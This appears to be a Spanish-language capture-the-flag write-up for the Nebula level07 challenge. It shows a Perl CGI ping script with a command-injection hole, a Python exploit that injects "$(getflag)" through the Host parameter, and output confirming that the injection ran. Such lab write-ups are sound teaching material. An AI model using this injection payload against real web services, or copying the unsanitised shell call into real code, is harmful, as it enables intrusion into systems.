El usuario flag07 nos plantea un nuevo reto:
level07@nebula:/home/flag07$ ls -al
total 10
drwxr-x--- 2 flag07 level07 102 2011-11-20 20:39 .
drwxr-xr-x 1 root root 160 2012-08-27 07:18 ..
-rw-r--r-- 1 flag07 flag07 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag07 flag07 3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 root root 368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 flag07 flag07 675 2011-05-18 02:54 .profile
-rw-r--r-- 1 root root 3719 2011-11-20 21:22 thttpd.conf
El fichero de configuración
thttpd.conf
advierte algún tipo de servidor. ¿En qué puerto estará escuchando?
level07@nebula:/home/flag07$ cat thttpd.conf | grep port
# Specifies an alternate port number to listen on.
port=7007
Por otro lado, veamos el contenido del recurso
index.cgi
:
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
Perfecto, no está ofuscado, y es muy simple. Se trata de un script en Perl que invoca el comando
ping
con el host
proporcionado por el usuario como parámetro y devuelve el resultado en una página web correctamente formateada.
Este reto debería recordarnos al de level02, un comando que se ejecuta directamente en la shell y que contiene valores bajo el control del usuario. A pesar de que este nivel puede resolverse directamente con nc
(netcat), aprovecharemos la oportunidad para afinar nuestras habilidades de programación en Python:
import socket
def connect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("[+] Conectado a " + ip + ":" + str(port))
except:
print("[X] Se producjo un error de conexion")
exit(1)
return s
def exploit():
s = connect("localhost", 7007)
s.send("GET /index.cgi?Host=\"$(getflag)\" HTTP/1.0\n\n")
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()
if __name__ == "__main__":
exploit()
La hora de la verdad:
level07@nebula:/home/flag07$ python /tmp/level07.py
[+] Conectado a localhost:7007
HTTP/1.0 200 OK
Content-type: text/html
<html><head><title>Ping results</title></head><body><pre>
ping: unknown host You have successfully executed getflag on a target account
</pre></body></html>
Pwned!
No hay comentarios:
Publicar un comentario